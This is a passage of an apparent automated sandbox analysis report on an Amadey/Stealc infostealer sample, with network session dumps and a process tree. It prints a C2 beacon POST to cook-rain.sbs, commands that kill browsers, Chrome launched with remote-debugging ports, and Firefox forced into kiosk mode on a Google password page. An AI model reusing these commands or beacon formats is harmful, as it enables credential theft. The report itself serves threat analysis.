2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 54 a2 1e b7 4b 04 bd 16 76 ae 33 ae e4 04 78 c9 85 85 c0 69 03 5e 35 43 10 cd 76 a4 4f 78 1b ef e6 90 3e 63 90 9d 3e 52 da ca cb 30 f4 5f 88 5b 5f 1c 51 d8 66 b9 e1 5f 5e 5c 62 6c 53 d6 29 16 5e 41 4d 7f ce ac 14 e5 be 9a 4c a2 48 69 6b fc 12 d5 2e 48 e0 44 77 7d 9b 37 b6 0c b6 14 04 6b 73 35 5b 0d 5e 59 6e 69 55 26 a1 14 21 e0 24 a5 6d bb f8 01 c2 41 f4 9e ff 5b 11 1a be e3 d7 15 7e fa 50 97 ac 51 7e d5 fa 8e 63 a5 6e e7 27 04 16 b6 0a 31 21 d6 c4 cd 06 b2 2e 1e 5b 04 ef 54 9e 33 c5 45 c6 68 5e 23 12 9b 5a 19 f7 60 bf 5b 1c 68 ff df 5a 41 59 09 14 f7 7d a2 51 c0 18 ad 0a 51 03 cf d0 5d e0 84 48 2a df f6 b7 31 5a 0a 6f f2 7e 24 e5 f1 14 7e f4 35 d6 26 33 fd 29 3c 1c 02 39 f9 f8 2f 22 ac 12 c0 f8 c1 f8 36 48 0e 7c a3 c0 87 58 8b ab 9e 7a 40 f8 c1 2c 10 b3 Data Ascii: TKv3xi^5CvOx>c>R0_[_Qf_^\blS)^AMLHik.HDw}7ks5[^YniU&!$mA[~PQ~cn'1!.[T3Eh^#Z`[hZAY}QQ]H*1Zo~$~5&3)<9/"6H\|Xz@,
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 07 b6 f9 ae ee b9 e4 d4 44 0b 5e 87 f3 69 d5 5c a9 a6 f2 d9 75 9e c6 be fc 07 36 36 0c 49 c1 8b d1 5c a7 e6 58 84 da 9e f3 91 db e1 db 8b c1 d8 b1 6a dd c8 20 34 43 94 21 3c 51 62 93 e0 b3 6d c7 cc fc 50 7d d7 79 0a 6e a6 8a fa 47 c8 6c d7 d0 ad 17 76 85 06 ec 3c 73 6c 10 17 35 2c fa fb 75 24 b6 89 c7 61 bd 12 c2 75 f7 31 d2 c4 83 c1 0f 68 e1 d0 98 55 32 b7 61 8a 0c 17 07 63 8e 0b ef 62 b1 0c e6 73 be 79 d1 bf 07 f2 e0 d3 b9 35 9c f7 22 4b 59 f6 89 54 0d 5d a5 44 6f ba ac cd 57 03 6e 89 ef 2d 59 61 89 0a bd 8f 6d 6f 5b 2d f2 e1 74 7f 71 93 8b bc 3b 89 fb b9 e1 73 73 71 23 7a a9 4d 5e a1 ba 76 bb 68 db eb 24 f1 e3 01 75 7c 24 15 f8 47 04 ab f2 2a be 96 61 74 88 d8 d2 4c 1a a3 b4 2b 73 89 05 7c b8 fe 8b 2e 86 fe a4 9b 10 8e 2a e3 e0 9f ed ec 14 83 15 b2 35 Data Ascii: D^i\u66I\Xj 4C!<QbmP}ynGlv<sl5,u$au1hU2acbsy5"KYT]DoWn-Yamo[-tq;ssq#zM^vh$u\|$GatL+s\|.5
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 22 03 c4 56 1d d1 ad c9 31 87 1b 67 84 b9 3b df 02 36 8b 0f 58 df 35 e7 d3 cb e8 92 cc 4b 4a 2c 4c 4a 6a dd 1f 13 75 53 3f b2 f2 cc 69 aa d0 7f 5c e2 24 84 e6 cb c8 5a a1 e8 e5 b1 01 a5 b1 fe 07 27 1d 5d e0 45 67 95 c8 a9 46 8a b9 4b b1 ba 6b b4 fa 70 eb d6 0b 5e d0 b8 aa 65 ef 76 b9 c8 bd ef 89 8c 74 2b 8b 07 11 a3 55 f7 f7 47 ae e4 11 ee f4 6d ec a9 0d aa b6 d9 83 e9 57 b7 c7 93 12 d9 f8 1a 73 06 91 4b 82 c9 79 90 f8 31 65 95 92 7d 1a a9 6a 39 4d 96 62 22 22 4b bb b6 35 3a ed 50 8b d6 96 6f 5d a2 6a 35 aa 24 24 35 5b 91 6b 28 2c b2 3c 7d 54 9c 12 84 16 4a 1a f1 71 a5 72 51 91 09 dc aa ef 8e f8 83 5e a2 db 78 42 1a 93 b6 3d 87 a5 9f 76 d3 3e 51 f9 e7 5a f2 01 38 54 94 27 2b 3d a7 34 b2 e0 16 1a d1 81 86 97 ba ff 53 7a c6 60 8b 2e f3 f3 de 1b 23 ba 20 55 Data Ascii: "V1g;6X5KJ,LJjuS?i\$Z']EgFKkp^evt+UGmWsKy1e}j9Mb""K5:Po]j5$$5[k(,<}TJqrQ^xB=v>QZ8T'+=4Sz`.# U
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 9d e9 42 6d 8e a4 39 19 02 fb 5e 86 03 cb 1e 22 39 90 2f de cc d5 a8 52 e9 a5 13 d8 42 9c 4c 5b 77 c6 e5 bc ae 16 5d fe d3 8a 9d 2d c5 76 6d 4b 26 11 d6 68 58 2b 8d 93 93 fd ae 12 b7 2a 53 7a 47 b2 d2 d1 30 2a 1c 75 2d 9a 2e cb 0d 4c 13 d6 e1 e8 6f 5f b3 bf 95 d1 03 c1 99 70 de 20 53 34 49 bf 11 7a 66 dd 32 d3 5a 8d ed 57 4f c2 53 0b 37 fd 52 d9 b7 ec 08 ac f1 5b 12 bb 54 65 29 ec d6 f7 58 36 f6 96 5a 80 0d 1c 81 8a 44 c1 ca 5f 36 e5 1c 27 5d 50 0b 73 18 f8 99 3a 9f d8 f7 3d c3 0b 1a 30 ba 61 bd 81 70 02 34 3c 84 f7 ed ba 7a 37 b7 76 3d 98 fd d7 a6 86 4f 46 fa 1a 99 69 12 b6 0d 8e a6 ec fa 6f ca 7d d5 ce 61 77 81 fd 73 5d 72 a4 65 37 22 f5 d7 3c 2c 81 e8 3c de 12 17 5a 63 99 ef e2 84 83 86 9d b1 24 37 06 1c be e7 60 e3 a2 48 47 ff d7 97 4a 29 5c 6d fc 9b Data Ascii: Bm9^"9/RBL[w]-vmK&hX+SzG0u-.Lo_p S4Izf2ZWOS7R[Te)X6ZD_6']Ps:=0ap4<z7v=OFio}aws]re7"<,<Zc$7`HGJ)\m
2024-11-21 13:12:13 UTC	984	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=06gnpvigtrqd5unsinc2r4mab1; expires=Mon, 17-Mar-2025 06:58:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bwDva14ByzYRVKZ5jdXOASt0lfXCREYPMsz6ieX5hLkU2w2ubEatyGzm14AA%2FQWmOW8944xKoVFSzQwyqHBYMVrztmzBdNCgpMFRa5QQNWYaKGdswr09CXqWracBguW7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ee0d2e54c427-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1695&sent=298&recv=573&lost=0&retrans=0&sent_bytes=2829&recv_bytes=552062&delivery_rate=1689814&cwnd=243&unsent_bytes=0&cid=eeae6742f44e7fde&ts=2184&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	50082	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:12:14 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-21 13:12:14 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=85611F66986E54704AFF5ADEC9E6BD77
2024-11-21 13:12:15 UTC	984	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=15ocojfsc7t36en1enlas57t6s; expires=Mon, 17-Mar-2025 06:58:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K3gTE%2BRDIR45YJNWNsCuOnHSBMvtZrhMrFZeBAiHPUeJtAPqv81I12%2FoBfpUvzTioUc3Nk8ftCTktwLQ5kU%2BLA7w%2BlkJM75hTytDl82I5ZYU4heYnEtTOEKPEVa%2BFspD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ee2369c35e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=1721698&cwnd=242&unsent_bytes=0&cid=77332f4d18f53d55&ts=719&x=0"
2024-11-21 13:12:15 UTC	214	IN	Data Raw: 64 30 0d 0a 79 6e 44 45 4d 73 54 51 77 37 35 59 72 47 6c 58 37 46 61 46 4b 59 75 39 63 53 79 57 35 44 6f 49 49 6c 78 67 6d 4d 6d 66 72 39 61 52 43 2b 5a 48 35 75 72 68 31 69 7a 59 47 57 32 77 65 64 6b 47 75 6f 56 45 41 71 54 56 44 79 59 54 62 56 4f 32 2b 4b 6e 7a 2b 61 55 57 6f 6d 37 72 74 4b 62 59 64 73 6b 52 4d 73 35 36 70 30 2f 2f 6e 30 73 63 75 73 5a 66 4b 68 68 74 48 62 53 79 76 64 72 30 38 46 4b 73 52 72 43 67 2b 65 4a 33 38 45 5a 6d 31 47 4f 72 47 37 71 49 58 78 32 6e 31 78 51 35 46 41 42 50 36 37 33 36 7a 72 75 57 58 37 5a 54 71 72 53 73 30 33 62 4a 45 54 4c 4f 65 71 64 50 2f 35 39 4c 48 4c 72 47 58 79 6f 59 62 42 33 46 0d 0a Data Ascii: d0ynDEMsTQw75YrGlX7FaFKYu9cSyW5DoIIlxgmMmfr9aRC+ZH5urh1izYGW2wedkGuoVEAqTVDyYTbVO2+Knz+aUWom7rtKbYdskRMs56p0//n0scusZfKhhtHbSyvdr08FKsRrCg+eJ38EZm1GOrG7qIXx2n1xQ5FABP6736zruWX7ZTqrSs03bJETLOeqdP/59LHLrGXyoYbB3F
2024-11-21 13:12:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:09:56
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6c0000
File size:	1'903'616 bytes
MD5 hash:	EA7705C2143E7C21967211C16FCEB549
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2178628685.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2137291659.0000000004910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:09:59
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x420000
File size:	1'903'616 bytes
MD5 hash:	EA7705C2143E7C21967211C16FCEB549
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2172727789.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2213355368.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:09:59
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x420000
File size:	1'903'616 bytes
MD5 hash:	EA7705C2143E7C21967211C16FCEB549
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2173757368.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2214156251.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:11:00
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x420000
File size:	1'903'616 bytes
MD5 hash:	EA7705C2143E7C21967211C16FCEB549
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2766615031.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:11:17
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe"
Imagebase:	0xed0000
File size:	4'406'272 bytes
MD5 hash:	A02A1CB540D8658F640DBA74A1ADA983
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	08:11:25
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe"
Imagebase:	0x8f0000
File size:	1'841'152 bytes
MD5 hash:	743AE689F70257D7A4EE703C6D9BA24B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	08:11:34
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe"
Imagebase:	0xad0000
File size:	1'771'008 bytes
MD5 hash:	215ACB5AD199ADEADC4C630B59F09D17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.3407023112.0000000000AD1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.3410012636.000000000156E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000003.3111470770.0000000005490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:11:40
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe"
Imagebase:	0x8f0000
File size:	1'841'152 bytes
MD5 hash:	743AE689F70257D7A4EE703C6D9BA24B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.3319787378.000000000168E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.3355918791.000000000168E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	08:11:41
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe"
Imagebase:	0x7c0000
File size:	922'624 bytes
MD5 hash:	EC1C70253B8B244E9A71D54D6B7A917C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:11:41
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x610000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:11:41
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:11:44
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:11:44
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x610000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:11:44
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:11:44
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2208,i,14654949757915549124,6603204216961418985,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:11:46
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x610000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:11:46
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:11:46
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x610000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:11:46
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:11:46
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x610000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	08:11:46
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	08:11:47
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:11:47
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	08:11:47
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	08:11:48
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2212 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7014d37a-07f6-453f-b71e-76d8a45fe92d} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25dfab6ef10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	08:11:49
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe"
Imagebase:	0xad0000
File size:	1'771'008 bytes
MD5 hash:	215ACB5AD199ADEADC4C630B59F09D17
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000003.3264850725.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	08:11:51
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	08:11:51
Start date:	21/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1392 -parentBuildID 20230927232528 -prefsHandle 2920 -prefMapHandle 4116 -prefsLen 26200 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bf63c7df-2f6b-4d92-a2e2-83995a3bd365} 5724 "\\.\pipe\gecko-crash-server-pipe.5724" 25d8d044210 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	08:11:52
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe"
Imagebase:	0xf50000
File size:	2'819'072 bytes
MD5 hash:	832C9676A2A7C2AD3AF65CA7C3CDE743
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	08:11:54
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1520
Imagebase:	0x9b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	08:11:55
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
